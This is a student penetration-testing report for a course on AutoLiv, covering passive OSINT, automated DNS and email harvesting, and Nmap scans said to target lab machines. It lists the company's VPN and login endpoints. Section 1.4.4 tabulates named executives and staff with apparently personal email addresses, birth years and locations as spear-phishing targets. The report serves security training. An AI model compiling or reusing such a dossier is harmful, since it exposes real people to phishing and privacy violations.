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Executive Summary 

Complete this section of the report after finishing all phases of the penetration test. An executive 

summary is a very brief summary of the entire report, focusing on the test, not the details. You 

will finish this section after all testing and documentation has been completed. 

 

 

 

 

 

 

 

 

 

 

 

Disclaimer: This document and its findings is a purely fictitious penetration testing report for the purpose 

of learning and training. All reconnaissance, password cracking, and exploiting was done in a sandbox 

environment consisting of virtual machines and does not represent any actual networks or systems of any 

organization. 
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1.0 Passive Corporate Recon (OISNT) 

 

1.1 Overview 

The Passive Corporate Reconnaissance phase focused on collecting publicly available 

information related to AutoLiv using open-source intelligence (OSINT) techniques. No 

active scanning, exploitation, or interaction with AutoLiv systems was performed. The 

goal of this phase was to identify corporate, technical, and personnel-related information 

that could be leveraged by an attacker during later stages of an attack. The findings 

demonstrate that a significant amount of organizational and technical data is publicly 

accessible. 

 

1.2 Recommendation 

Based on the findings of the OSINT phase, the following recommendations are provided: 

• Limit publicly exposed employee contact details where possible 

• Educate staff on social engineering and phishing risks 

• Regularly audit corporate digital footprints using OSINT techniques 

• Review DNS and certificate transparency data for unnecessary exposure 

• Implement strict policies governing public-facing information 

Reducing publicly accessible information can significantly decrease the effectiveness 

of reconnaissance efforts by potential attackers. 

 

1.3 Scope 

This phase was limited strictly to passive reconnaissance. Only publicly available 

sources such as search engines, corporate websites, professional networking platforms, 

and public DNS tools were used. No vulnerability scanning, port scanning, authentication 

attempts, or system interaction was conducted. All activities were performed in 

accordance with ethical guidelines and course requirements. 
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1.4 Details 

 

1.4.1 Company Overview 

AutoLiv is a Fortune 500 global automotive safety supplier specializing in airbags, 

seatbelts, and advanced safety systems. The company operates internationally with its 

headquarters located in Stockholm, Sweden. AutoLiv maintains a large global workforce 

and supports operations across North America, Europe, and Asia, making it a realistic 

and valuable target from an attacker’s perspective due to its size, public exposure, and 

reliance on interconnected systems 

 

1.4.2 OSINT Scan – Corporate Identifiable Information 

The following corporate information was identified using publicly available sources: 

• Company Name: AutoLiv Inc. 

• Primary Domain: www.autoliv.com 

• Headquarters Location: Klarabergsviadukten 70 B, Stockholm, Sweden 

• Corporate Phone Number: +46 8 587 206 00 

• Fortune 500 Status 

• Corporate LinkedIn Page 

• Corporate Facebook Page 

• SEC filings and regulatory disclosures 

▪ Reveal financial, governance, and risk information 

• Public press releases hosted on the corporate website 

• Executive leadership structure published online (Figure 1) 

• Subsidiary and regional business unit references (Figure 17) 

▪ Confirms global operations and distributed business units 

• Public corporate governance documentation (Figure 18) 

▪ Outlines board structure, oversight, and governance policies 

 

1.4.3 OSINT Scan – Computing System Identifiable Information 

Passive reconnaissance identified multiple computing system indicators that suggest 

externally facing infrastructure and services: 

• Public corporate website accessible over HTTPS (https://www.autoliv.com) 

▪  Confirms externally accessible web infrastructure 

https://www.autoliv.com/
https://www.linkedin.com/company/autoliv/
https://www.facebook.com/AutolivInc
https://www.autoliv.com/media_press-releases
https://www.autoliv.com/


AutoLiv Pen Testing Report 

 

Page 8 of 119 
 

▪ Uses encrypted HTTPS communication 

• Domain registration and DNS records for autoliv.com (Figure 6) 

▪ Reveals domain ownership and external DNS dependencies 

• DNS A record resolving to a public IP address (Figure 3) 

▪ Maps the domain to internet-routable IP addresses 

• Publicly accessible name server records (Figure 5) 

▪ Identifies authoritative DNS servers used for domain resolution 

• Cloud-based email infrastructure identified through MX records (Figure 7) 

▪ Indicates use of third-party, cloud-hosted email services 

• Corporate email domain (@autoliv.com) (Figure 9) 

▪ Confirms official corporate email domain and address pattern 

• SSL/TLS certificates protecting web traffic (Figure 10) 

▪ Verifies encryption of public web traffic 

• Multiple subdomains discovered through DNS enumeration (Figure 4) 

▪ Demonstrates a large externally exposed attack surface 

▪ Reveals region- and service-specific systems 

• Public login and career portals hosted under the corporate domain (Figure 11) 

▪ Confirms publicly accessible authentication and recruitment portals 

• Technology indicators discovered through job postings (Figure 13) 

▪  Reveal real-time labor market demands and skill trends 

• External third-party platforms integrated with corporate operations (Figure 14) 

▪ Example: Teamtailor used for recruitment services 

• Evidence of cloud-hosted services referenced in public documentation (Figure 15) 

▪ Confirms organizational reliance on cloud-based infrastructure 

 

1.4.4 OSINT Scan – Staff Identifiable Information and PPI 

Publicly available sources revealed identifiable employee and executive information, 

including: 

• Executive leadership names and job titles (Figure 1) 

• Corporate email address patterns 
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▪ firstname.lastname@autoliv.com 

 

Public exposure of employee names, roles, and email address formats 

significantly increases the risk of spear phishing, impersonation attacks, and 

social engineering campaigns targeting both executive and technical staff. 

 

• Public LinkedIn profiles for executives and IT staff 

• Board of Directors information 

• Public biographies and press announcements 

• Location and role details for select employees 

• Professional history and affiliations 

Name Role 
Public 
Source 

Emails Found Other Information found 

Mikael 
Bratt 

President 
and CEO 

LinkedIn / 
Corporate 
Site 

mikaelbratt@gmail.com 
mikael.bratt@autoliv.com 
mikael.b@autoliv.com 

Born: 1967 
Location: Stockholm, Stockholms 
Lan, Sweden  

Fredrik 
Westin 

Chief 
Financial 
Officer 

Linkedin fredrik.westin@autoliv.com  
Resigning March 31s  2026 
Starting new job at AkzoNobel  

Jordi 
Lombarte 

Chief 
Technology 
Officer 

LinkedIn 
jordi.lombarte@autoliv.com 
jordi.susi@hotmail.com  

Location: Bloomfield Hills, MI, US  

Jan 
Carlson 

Chairman 
Linkedin / 
Corporate 
Site 

jan.carlson@autoliv.com 
jancarlson@gmail.com  

Born: 1960 
Chairman since May 2014 and 
Director since 2007  

Jeson 
Nadonga 

IT Manager 
LinkedIn / 
Facebook 

nadonga@autoliv.com 
jeson.nadonga@autoliv.com 

Location: Philippines 

 

 

1.4.5 Legal and Public Corporate Risk Information 

As part of the passive OSINT collection, publicly available legal and corporate risk data 

was examined to identify additional contextual information about AutoLiv’s business 

operations and potential historical compliance challenges. 

Court Cases and Settlements 

AutoLiv ASP Inc. v. Hyundai Mobis Co. Ltd. 

This case involved litigation between AutoLiv ASP Inc. and Hyundai Mobis Co. Ltd. in 

the U.S. District Court for the Middle District of Alabama. The case record, available 

through public legal databases, includes docket information and judicial opinions related 

to the dispute. Relevant documentation can be accessed at: 

https://www.linkedin.com/in/mikael-bratt-637b55228/
https://www.sec.gov/Archives/edgar/data/1034670/000119312515407851/d32830dex991.htm
https://www.sec.gov/Archives/edgar/data/1034670/000119312515407851/d32830dex991.htm
mailto:mikaelbratt@gmail.com
mailto:mikael.bratt@autoliv.com
mailto:mikael.b@autoliv.com
https://www.crunchbase.com/search/people/field/people/location_identifiers/stockholm-stockholms-lan
https://www.crunchbase.com/search/people/field/people/location_identifiers/stockholms-lan-sweden
https://www.crunchbase.com/search/people/field/people/location_identifiers/stockholms-lan-sweden
https://www.crunchbase.com/search/people/field/people/location_identifiers/sweden
https://www.linkedin.com/in/fredrik-westin-390112/
https://www.linkedin.com/in/fredrik-westin-390112/
mailto:fredrik.westin@autoliv.com
https://www.crunchbase.com/organization/akzonobel
https://www.linkedin.com/in/jordi-lombarte-17276311/
mailto:jordi.lombarte@autoliv.com
mailto:jordi.susi@hotmail.com
https://www.linkedin.com/in/jan-carlson-12b69826/
https://www.sec.gov/Archives/edgar/data/1034670/000103467007000042/pressreleasecarlson.htm
https://www.sec.gov/Archives/edgar/data/1034670/000103467007000042/pressreleasecarlson.htm
mailto:jan.carlson@autoliv.com
mailto:jancarlson@gmail.com
https://www.linkedin.com/in/jeson-nadonga-8019bab6/
https://www.facebook.com/jesonnadonga
mailto:nadonga@autoliv.com
mailto:jeson.nadonga@autoliv.com
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• U.S. District Court opinion: https://caselaw.findlaw.com/court/us-dis-crt-m-d-ala-nor-

div/2140495.html 

• U.S. Court of Appeals for the Federal Circuit opinion: https://www.cafc.uscourts.gov/4-

24-2017-16-1895-autoliv-asp-inc-v-hyundai-mobis-co-ltd-opinion-16-1895-opinion-4-20-

2017-1/ 

Auto Parts Price-Fixing Multidistrict Litigation 

AutoLiv Inc. was named as a defendant in multidistrict litigation involving allegations of 

price-fixing in the automotive parts industry. The company agreed to a settlement valued 

at approximately $65 million. This settlement and related lawsuit details are publicly 

documented and provide insight into historical regulatory and antitrust exposure: 

• Case overview and settlement details: https://topclassactions.com/lawsuit-

settlements/lawsuit-news/autoliv-inc-agrees-65m-settlement-auto-parts-price-fixing-mdl/ 

Analysis of Public Risk Exposure 

Legal and compliance issues documented in publicly accessible court records and 

settlement summaries can contribute to an organization’s external risk profile. While 

these items do not represent direct vulnerabilities in computing systems, they provide 

context on corporate governance, compliance history, and potential reputational risk. 

Attackers or adversarial entities may use this type of information to craft targeted social 

engineering, extortion, or reputation-based attacks. 

Source Documentation 

All of the above links and case information were retrieved through publicly accessible 

legal databases and class action reporting sites. They should be referenced accordingly 

in the References section of this report. 

  

https://caselaw.findlaw.com/court/us-dis-crt-m-d-ala-nor-div/2140495.html
https://caselaw.findlaw.com/court/us-dis-crt-m-d-ala-nor-div/2140495.html
https://www.cafc.uscourts.gov/4-24-2017-16-1895-autoliv-asp-inc-v-hyundai-mobis-co-ltd-opinion-16-1895-opinion-4-20-2017-1/
https://www.cafc.uscourts.gov/4-24-2017-16-1895-autoliv-asp-inc-v-hyundai-mobis-co-ltd-opinion-16-1895-opinion-4-20-2017-1/
https://www.cafc.uscourts.gov/4-24-2017-16-1895-autoliv-asp-inc-v-hyundai-mobis-co-ltd-opinion-16-1895-opinion-4-20-2017-1/
https://topclassactions.com/lawsuit-settlements/lawsuit-news/autoliv-inc-agrees-65m-settlement-auto-parts-price-fixing-mdl/
https://topclassactions.com/lawsuit-settlements/lawsuit-news/autoliv-inc-agrees-65m-settlement-auto-parts-price-fixing-mdl/
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2.0 Automating Information RECON 
 

2.1 Overview 

The Automating Information Reconnaissance phase expanded on the initial passive 

OSINT work by using automated tools to collect additional publicly available information 

related to AutoLiv (autoliv.com). This phase remained fully passive and did not include 

authentication attempts, vulnerability scanning, exploitation, brute force activity, or 

interaction with internal systems. Tools such as BuiltWith, dig, dnsenum (passive), 

SpiderFoot (passive modules), and theHarvester were used to rapidly aggregate 

corporate, infrastructure, and personnel-related intelligence at scale. The results 

confirmed a broad external footprint, including DNS records, third-party dependencies, 

and a large number of publicly indexed hosts and service endpoints (including remote 

access, federated authentication, and supplier portals). The goal of this phase was to 

demonstrate how quickly an attacker could build an accurate picture of AutoLiv’s 

external presence using only open sources. 

2.2 Recommendation 

Based on the automated reconnaissance findings, the following recommendations are 

provided to reduce OSINT exposure and social engineering risk: 

• Reduce exposure of high-value entry points by reviewing externally reachable 

authentication portals (e.g., VPN, ADFS/federated login pages, supplier portals) and 

ensuring only required endpoints are public-facing. 

• Audit and rationalize subdomains and hostnames to remove legacy, test, and 

duplicate systems from public DNS where possible and standardize naming to avoid 

revealing system purpose. 

• Strengthen email and domain protection controls by continuing enforcement of 

SPF/DMARC and regularly validating DNS/TXT records for accuracy and 

unnecessary third-party verification entries. 

• Limit publicly harvestable employee contact information and reduce exposure of 

email patterns where feasible; provide targeted phishing and BEC awareness 

training for staff. 

• Monitor third-party and SaaS dependencies surfaced through technology profiling 

and DNS verification (e.g., collaboration and marketing platforms) and ensure vendor 

security reviews and least-privilege access are enforced. 

• Perform recurring internal OSINT audits using the same passive tooling on a 

scheduled basis to identify newly exposed services, subdomains, or personnel 

information before attackers do. 
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2.3 Scope 

This phase was strictly limited to passive, automated reconnaissance using publicly 

available information sources. All activities targeted the domain autoliv.com and were 

conducted without interacting directly with AutoLiv systems. The purpose of this scope 

was to define the tools, boundaries, and ethical limitations of the automated OSINT 

process. 

Tools Used (Passive Mode Only): 

• BuiltWith – technology profiling and third-party service identification 

• Web-Check – high-level OSINT summary including DNS, TLS, and security headers 

• dig – DNS record retrieval (A, MX, NS, and TXT records) 

• dnsenum (passive mode) – subdomain and DNS enumeration without brute force or 

reverse lookups 

• SpiderFoot (passive modules only) – aggregation of domains, IPs, emails, and public 

breach references 

• theHarvester – collection of publicly available email addresses and employee identifiers 

All tools were executed from a Kali Linux environment using VirtualBox. No vulnerability 

scanning, port scanning, authentication attempts, brute force techniques, or exploitation 

activities were performed. Recon-NG was explicitly not used during this phase. All 

reconnaissance remained fully passive and complied with ethical guidelines and academic 

requirements. 

 

2.4 Details 

 

2.4.1 BuiltWith Technology Profiling 

• Tool: BuiltWith 

• URL: https://builtwith.com 

• Version: Web-based tool (no version number available) 

Command / Method: 

• Domain searched: autoliv.com 

Key Technologies Documented: 

BuiltWith identified a wide range of technologies used by AutoLiv’s public-facing web 

infrastructure, including but not limited to: 

(Figure 19) 

https://builtwith.com/
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• Cloudflare CDN and Hosting – Content delivery, performance optimization, and DDoS 

protection 

• HubSpot – Inbound marketing and analytics 

• Salesforce CRM & Pardot Mail – Marketing automation and campaign management 

• Google Analytics & Google Universal Analytics – Visitor and usage tracking 

• Google Tag Manager / Global Site Tag – Tag and analytics management 

• Amazon Web Services (AWS EC2) – Cloud hosting infrastructure 

• Amazon Application Load Balancer (ALB) – Traffic distribution across backend 

services 

• New Relic – Application performance monitoring 

(Figure 20) 

• Drupal CMS – Content management system 

• Atlassian Cloud – Cloud-hosted collaboration and ticketing tools (e.g., Jira, Confluence) 

• Miro – Online collaborative whiteboarding and planning platform 

(Figure 21) 

• ASP.NET (v4.0) – Microsoft web application framework 

• Java EE – Enterprise Java-based backend components 

• OneTrust – Cookie consent and privacy compliance 

(Figure 22) 

• DigiCert SSL Certificates – TLS certificate authority 

• HSTS with Subdomain Preload – Enforced HTTPS communication 

(Figure 23) 

• Microsoft IIS – Web server platform 

• Apache Web Server – Secondary web server technology 

 

Security and Reconnaissance Impact 

From an attacker’s perspective, BuiltWith technology profiling significantly reduces 
uncertainty during reconnaissance. Identifying frameworks such as ASP.NET, Java EE, 
and Drupal allows adversaries to research technology-specific vulnerabilities and 
misconfigurations. The presence of multiple third-party services, including marketing 
platforms, CDNs, and analytics providers, expands the external attack surface and 
introduces potential third-party risk. Additionally, knowledge of hosting environments and 
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load-balancing infrastructure helps attackers tailor phishing campaigns, exploit research, 
and infrastructure mapping. While no vulnerabilities were tested during this phase, the 
aggregation of this information would meaningfully assist an attacker in planning 
subsequent attack stages. 

 

2.4.2 DNS Enumeration Using dig 

• Tool: dig 

• Version: DiG 9.20.15-2-Debian (Figure 24) 

• Environment: Kali Linux (Virtual Box) 

Command / Method: 

 

 

 

 

 

DNS Records Documented: 

A Record (IPv4 Resolution) (Figure 25) 

The A record lookup resolved autoliv.com to the public IP address 52.17.142.199, 

confirming that the domain maps to internet-routable infrastructure. The returned Time 

To Live (TTL) value of 20659 seconds indicates standard DNS caching behavior. The 

successful NOERROR status confirms proper DNS resolution. 

 

MX Records (Mail Exchange) (Figure 26) 

The MX record query identified two external mail servers responsible for handling 

corporate email: 

• mx1.autoliv.cs32.iphmx.com 

• mx2.autoliv.cs32.iphmx.com 

Both servers were assigned equal priority values, indicating a load-balanced or 

redundant email delivery configuration. This confirms reliance on third-party, cloud-

hosted email infrastructure for corporate communications. 

 

NS Records (Name Servers) (Figure 27) 

dig autoliv.com 

dig MX autoliv.com 

dig NS autoliv.com 

dig TXT autoliv.com 
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The NS query revealed that authoritative DNS management for autoliv.com is handled 

by external name servers associated with the nsone.net platform. The Start of Authority 

(SOA) record identified dns1.p01.nsone.net as the primary authoritative server, 

indicating outsourced DNS management rather than on-premises infrastructure. 

 

TXT Records (Domain Metadata and Security Controls) (Figure 28) 

The TXT record query returned a large number of entries associated with domain 

verification, security, and email authentication. Notable findings include: 

• SPF Record specifying authorized mail senders, including Microsoft Office 365 and 

Salesforce-related infrastructure 

• DMARC Policy set to “reject”, enforcing strict rejection of unauthenticated email and 

reducing spoofing risk 

• Multiple domain verification records for third-party services such as Google, Atlassian, 

Dropbox, Miro, Apple, and OneTrust 

• Evidence of integrations with marketing, collaboration, and analytics platforms 

The volume and diversity of TXT records indicate extensive use of third-party cloud 

services and SaaS platforms across AutoLiv’s environment. 

These results confirm that AutoLiv relies on externally hosted DNS and email infrastructure and 

enforces modern email authentication standards. 

 

Security and Reconnaissance Impact 

DNS enumeration using dig provides attackers with foundational infrastructure 

intelligence. A records reveal public-facing IP addresses, MX records expose corporate 

email handling providers, and NS records identify external DNS dependencies. TXT 

records are particularly valuable, as they disclose email authentication posture, third-

party integrations, and internal service usage. While strong controls such as a DMARC 

reject policy reduce certain attack vectors, the aggregated DNS information significantly 

lowers the barrier for phishing campaigns, infrastructure mapping, and social 

engineering. No vulnerabilities were exploited during this phase; however, the collected 

DNS data meaningfully contributes to an attacker’s understanding of AutoLiv’s external 

attack surface. 

 

 

2.4.3 DNS Enumeration Using dnsenum (Passive) 

• Tool: dnsenum 

• Version: 1.3.1 (Figure 29) 

• Environment: Kali Linux (Virtual Box) 
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Command / Method: 

 

 

The --noreverse flag was used to explicitly disable reverse DNS lookups, ensuring that 

enumeration remained passive and compliant with ethical and academic guidelines. 

 

Information Documented: 

The dnsenum execution successfully confirmed the public A record associated with 

autoliv.com, resolving to the IPv4 address 52.17.142.199 with a TTL value of 20472 

seconds. This result is consistent with DNS data obtained through the dig utility, 

reinforcing the accuracy of the previously identified infrastructure. 

The tool did not return enumerated name server records beyond confirmation of their 

existence. The message indicating an NS query failure with a NOERROR status 

suggests that authoritative DNS servers responded correctly but restricted enumeration-

style queries. This behavior is typical of professionally managed DNS services and 

indicates controlled DNS exposure. 

The discovered subdomains indicate a distributed external presence supporting 

corporate, regional, and service-specific functions. These findings further validate 

AutoLiv’s reliance on cloud-hosted and third-party infrastructure. (Figure 30) 

 

Security and Reconnaissance Impact 

Passive DNS enumeration using dnsenum allows attackers to validate DNS behavior 

and confirm infrastructure consistency across tools. Although no additional subdomains 

were revealed during this execution, the results demonstrate effective DNS hardening 

practices. The ability to confirm restricted DNS responses still provides reconnaissance 

value by informing attackers of defensive controls in place. No exploitation or active 

probing was performed during this phase. 

 

 

2.4.4 SpiderFoot (Passive Mode Only) 

• Tool: SpiderFoot 

• Version: 4.0.0: Open Source Intelligence Automation (Figure 31) 

• Environment: Kali Linux (Virtual Box) 

Command / Method: 

SpiderFoot was launched locally using the following command: 

dnsenum --noreverse autoliv.com 

 



AutoLiv Pen Testing Report 

 

Page 17 of 119 
 

 

 

The web interface was accessed through a browser at: 

 

 

Configuration 

To maintain ethical and academic compliance, SpiderFoot was configured with the following 

restrictions: 

• Passive modules only were enabled 

• All active scanning modules were disabled 

• No brute-force, probing, or exploitation features were used 

• Data collection relied solely on open-source and third-party intelligence feeds 

Information Documented 

The SpiderFoot passive OSINT scan produced a wide range of aggregated intelligence related 

to autoliv.com. Key findings include: 

• Domains and Internet Names (Figure 35) 

▪ Identification of approximately 28 unique internet names 

▪ Multiple unresolved domain references 

▪ Confirms a broad externally visible DNS footprint 

• Email Addresses and Patterns 

▪ Discovery of 22 affiliate-related email addresses (Figure 37) 

▪ Identification of 3 direct email addresses (Figure 36) 

▪ Reinforces publicly exposed corporate email naming conventions 

• Email Infrastructure 

▪ Identification of 2 email gateway records (MX) (Figure 38) 

▪ Confirms third-party, cloud-hosted email services 

• IP Address and Network Information 

▪ Both IPv4 and IPv6 addresses identified (Figure 39) 

▪ Associated BGP Autonomous System memberships discovered 

▪ Indicates globally routed, cloud-based infrastructure 

spiderfoot -l 127.0.0.1:5001 

 

http://127.0.0.1:5001 
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• Third-Party Services and External Platforms 

▪ References to public code repositories 

▪ App store presence and SaaS platform usage 

▪ Confirms reliance on multiple external service providers 

• Public Contact and Location Information 

▪ Phone numbers and physical location data identified 

▪ Country-level geographic information discovered 

▪ Supports previously identified corporate OSINT exposure 

These findings were derived exclusively from publicly available sources and required no direct 

interaction with AutoLiv systems. 

 

Security and Reconnaissance Impact 

SpiderFoot significantly enhances reconnaissance efficiency by aggregating data from 

numerous OSINT sources into a single platform. From an attacker’s perspective, this 

consolidated view reduces the time required to correlate infrastructure, personnel, and 

third-party service information. Even when limited to passive modules, SpiderFoot 

provides valuable insight into an organization’s external digital footprint and potential 

social engineering targets. While no vulnerabilities were tested during this phase, the 

aggregated intelligence meaningfully supports planning for subsequent attack stages. 

 

Ethical and Academic Considerations 

All SpiderFoot activity was conducted in passive mode only. No active scanning, 

exploitation, credential testing, or interaction with AutoLiv systems occurred. The tool 

relied exclusively on publicly accessible information sources, and all actions were 

performed in accordance with course requirements and ethical reconnaissance 

standards. 

 

2.4.5 theHarvester (People & Emails) 

• Tool: theHarvester 

• Version: 4.8.2 (Figure 40) 

• Environment: Kali Linux (Virtual Box) 

Command / Method: 

 

 

theHarvester -d autoliv.com -b all -l 500 
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This command instructed theHarvester to search across all supported data sources, limit results 

to publicly indexed information, and cap the query to prevent excessive enumeration. 

 

Information Documented 

The theHarvester scan successfully returned a broad set of publicly available 

reconnaissance artifacts: 

• Interesting URLs Identified (36) (Figure 41) 

▪ Included externally accessible login and portal endpoints such as: 

o Career portals (e.g., career.autoliv.com) 

o Federated authentication endpoints (e.g., fed.autoliv.com/adfs/...) 

o VPN portals (e.g., vpnap.autoliv.com/+CSCOE+/logon.html) 

o Supplier portals (e.g., supplierwebvan.autoliv.com/...) 

▪ These URLs indicate multiple publicly reachable services that could be targeted 

during social engineering or credential-harvesting campaigns. 

• Autonomous System Numbers (ASNs) Identified (9) (Figure 43) 

▪ theHarvester identified multiple ASNs associated with AutoLiv’s public presence, 

including: 

o AS13335 (Cloudflare) 

o Additional ASNs indicating multiple external providers and routing 

dependencies 

▪ This supports the conclusion that AutoLiv relies on third-party infrastructure and 

distributed hosting. 

• IP Addresses Identified (56) (Figure 42) 

▪ Both IPv4 and IPv6 addresses were discovered. 

▪ This reinforces cloud/CDN usage and globally distributed web infrastructure. 

• Hosts/Subdomains Identified (762) (Figure 44) 

▪ theHarvester discovered a large number of hostnames under the autoliv.com 

domain. 

▪ Many hostnames suggest externally referenced business services, including: 

o VPN and remote access (e.g., vpn.autoliv.com, vpnmobile.autoliv.com, 

desktop-eu.autoliv.com) 

o Email and mail services (e.g., mail.autoliv.com, cloudmail.autoliv.com) 
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o Supplier and partner systems (e.g., supplierth.autoliv.com, 

supplierwebvan.autoliv.com) 

o IT collaboration tooling (e.g., jira.autoliv.com) 

▪ These naming patterns provide strong insight into system purpose and 

organizational structure. 

• Emails Found (1) (Figure 45) 

▪ theHarvester identified the following publicly indexed email address: 

o legalaffairs@autoliv.com 

• People Found 

▪ No people names were returned during this execution. 

 

Several data sources supported by theHarvester require API keys and were unavailable 

during execution. The tool automatically skipped these sources and continued gathering 

data from publicly accessible providers. This behavior is expected in non-commercial 

environments and does not impact the validity of passive OSINT results. 

 

Security and Reconnaissance Impact 

From an attacker’s perspective, theHarvester accelerates reconnaissance by quickly 

identifying public-facing services, infrastructure dependencies, and contact points tied to 

a target domain. The discovery of VPN portals, webmail-related services, federated 

authentication endpoints, and supplier-facing systems increases the risk of spear 

phishing and credential-based attacks because attackers can craft realistic targeting 

scenarios around known services. Although this phase involved no active testing or 

exploitation, the collected results significantly expand visibility into AutoLiv’s external 

footprint and potential social engineering targets. 

 

Ethical and Academic Considerations 

All theHarvester activity was conducted passively and relied exclusively on publicly 

indexed information sources. No credentials were tested, no accounts were accessed, 

and no exploitation techniques were used. The activity remained within ethical OSINT 

boundaries and aligned with course requirements. 

 

  



AutoLiv Pen Testing Report 

 

Page 21 of 119 
 

3.0 NMap Active Reconnaissance 
 

3.1 Overview 

The Nmap Active Reconnaissance phase marked the transition from passive intelligence 

collection to controlled network enumeration conducted within a sandbox laboratory 

environment hosted on the Grand Canyon University Kali Linux virtual machine. 

This phase simulated how an attacker could expand reconnaissance efforts against 

externally reachable infrastructure associated with autoliv.com by identifying live hosts, 

underlying operating systems, open ports, running network services, and corresponding 

service versions. 

All scanning activity was performed exclusively against authorized laboratory virtual 

machines. The resulting findings were mapped to a fictional AutoLiv external network 

scenario for academic demonstration purposes. No real-world scanning or interaction with 

AutoLiv production infrastructure occurred during this phase. 

 

3.2 Recommendation 

Based on the simulated Nmap reconnaissance results, the following defensive security 

recommendations are provided: 

• Restrict publicly exposed services to only essential and business-required ports 

• Implement network segmentation, firewall filtering, and access-control 

enforcement 

• Disable or decommission unnecessary legacy or unsupported services 

• Minimize operating system fingerprint exposure through hardening and traffic 

normalization 

• Conduct routine vulnerability scanning, patch management, and configuration 

auditing 

• Deploy intrusion detection, rate-limiting, and monitoring controls capable of 

identifying reconnaissance activity 

Collectively, these defensive measures would significantly reduce the effectiveness of 

attacker reconnaissance and limit opportunities for subsequent exploitation. 
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3.3 Scope 

Environment 

• Platform: Kali Linux (GCU Cloud Virtual Machine) 

• Tool: Nmap Network Scanner 

• Version: 7.95 (figure 47) 

Targets (Lab Simulation) 

Scanning activities were conducted against internal virtual machines representing a 

simulated enterprise environment, including: 

• Web server 

• Application server 

• Database server 

These laboratory systems were logically mapped to represent externally reachable 

AutoLiv infrastructure for the purpose of controlled academic penetration-testing 

simulation. 

Ethical Limitation 

• No scanning or probing of real AutoLiv systems was performed 

• All reconnaissance activity remained strictly confined to the authorized GCU laboratory 

environment 

This approach ensured compliance with ethical hacking standards, institutional policy, and 

course requirements. 

 

3.4 Details 

 

3.4.0 Network Discovery Using Netdiscover 

• Tool: Netdiscover & Nmap 

• Version: 

  Netdiscover – Included with Kali Linux distribution 

  Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

Command / Method 

 

 

  

sudo netdiscover -i br0 -L 
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Purpose 

Netdiscover was used to identify active hosts on the local network segment prior to initiating 

Nmap scanning. 

This passive ARP-based discovery allows attackers to determine: 

• Live IP addresses 

• MAC addresses 

• Device vendors 

• Potential network infrastructure 

 

Findings 

The scan identified multiple active hosts within the 192.168.0.0/24 network range. 

Detected systems included devices associated with Xerox Corporation as well as an 

unknown vendor, indicating a mix of networked peripherals and standard hosts within the 

simulated environment. 

(figure 46) 

Security Impact 

ARP-based discovery enables attackers to: 

• Map internal network devices 

• Identify printers, endpoints, and infrastructure 

• Reduce noise before active scanning 

• Prepare targeted Nmap enumeration 

Although passive in nature, this reconnaissance step significantly improves the efficiency of 

later attack phases. 
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3.4.1 Host Discovery Scan 

• Tool: Nmap 

• Version: Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

Command / Method 

 

 

Purpose 

The Nmap ping sweep scan (-sn) was used to actively confirm which hosts within the 

simulated AutoLiv network range were reachable. 

Unlike Netdiscover’s passive ARP discovery, this scan performs active network 

probing without enumerating ports or services. 

 

Findings 

The scan successfully identified four active hosts within the 192.168.0.0/24 network range: 

• 192.168.0.1 

• 192.168.0.2 

• 192.168.0.3 

• 192.168.0.5 

MAC address analysis revealed: 

• Xerox-associated devices, likely representing network peripherals or printers 

• QEMU virtual network interface, indicating a virtualized system within the lab 

environment 

These findings confirm multiple reachable systems that could be targeted during deeper 

enumeration phases. (figure 48) 

 

Security and Reconnaissance Impact 

Active host discovery enables attackers to: 

• Validate reachable infrastructure 

• Eliminate inactive IP addresses 

• Prioritize high-value systems for deeper scanning 

• Reduce detection noise during later reconnaissance stages 

sudo nmap 192.168.0.1-5 -sn 
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Even without port scanning, this intelligence significantly improves attacker efficiency and 

targeting accuracy. 

 

3.4.2 Operating System Fingerprinting 

• Tool: Nmap 

• Version: Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

Command / Method 

 

 

Purpose 

The Nmap operating system detection scan (-O) was used to identify the underlying 

operating systems of discovered hosts while simultaneously revealing open TCP ports and 

associated services. 

This phase represents a transition from basic host discovery to technical system 

profiling, enabling attackers to determine: 

• Platform type (Linux, Windows, appliance, etc.) 

• Running network services 

• Potential legacy or vulnerable systems 

 

Findings (Figure 49) 

The scan identified four active hosts with distinct operating system and service 

characteristics: 

Host 192.168.0.1 

• Open ports: 22 (SSH), 3389 (RDP/ms-wbt-server) 

• Detected OS: Linux kernel 2.6.x–5.x range 

• Interpretation: Likely a remote-accessible server supporting administrative access. 

Host 192.168.0.2 

• Multiple open services including: 

o FTP, SSH, Telnet, SMTP, DNS, HTTP 

o NetBIOS/SMB (139, 445) 

o MySQL (3306) and PostgreSQL (5432) 

sudo nmap 192.168.0.1-5 -O 
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o AJP13 and additional unknown services 

• Detected OS: Linux 2.6.x family 

• Interpretation: Represents a high-value multi-service server with a significantly 

expanded attack surface. 

Host 192.168.0.3 

• Open ports: 135 (MSRPC), 139 (NetBIOS), 445 (SMB) 

• Detected OS: Microsoft Windows XP / Server 2003 class system 

• Interpretation: Presence of a legacy Windows platform, which is typically associated 

with known exploitable vulnerabilities and end-of-life security risks. 

Host 192.168.0.5 

• Open ports: 22 (SSH), 80 (HTTP) 

• Detected OS: Linux kernel 2.6.x–2.6.35 

• Interpretation: Likely a web-accessible Linux server with remote administrative 

capability. 

 

Security and Reconnaissance Impact 

Operating system fingerprinting combined with port enumeration provides attackers with 

critical targeting intelligence, including: 

• Identification of legacy or unsupported systems (e.g., Windows XP/2003) 

• Discovery of remote administration services (SSH, RDP, Telnet) 

• Visibility into database and web application exposure 

• Insight into multi-service hosts with expanded attack surfaces 

Even without exploitation, this level of intelligence dramatically reduces attacker 

uncertainty and enables rapid selection of known vulnerabilities, credential attacks, or 

exploit frameworks. 

 

3.4.3 Port and Service Enumeration 

• Tool: Nmap 

• Version: Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

Command / Method 

 

  

sudo nmap 192.168.0.1-5 -A 
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Purpose 

The Nmap aggressive scan (-A) was executed to perform comprehensive host 

enumeration, combining multiple reconnaissance techniques into a single operation. 

This scan enables attackers to simultaneously obtain: 

• Operating system detection 

• Service and version identification 

• Default script-based enumeration (NSE) 

• Network path tracing 

• Additional protocol and configuration details 

The aggressive scan represents the final reconnaissance stage prior to vulnerability 

exploitation. 

 

Findings (figure 51) 

The scan confirmed four active hosts and revealed extensive technical details across the 

simulated AutoLiv environment. 

Host 192.168.0.1 

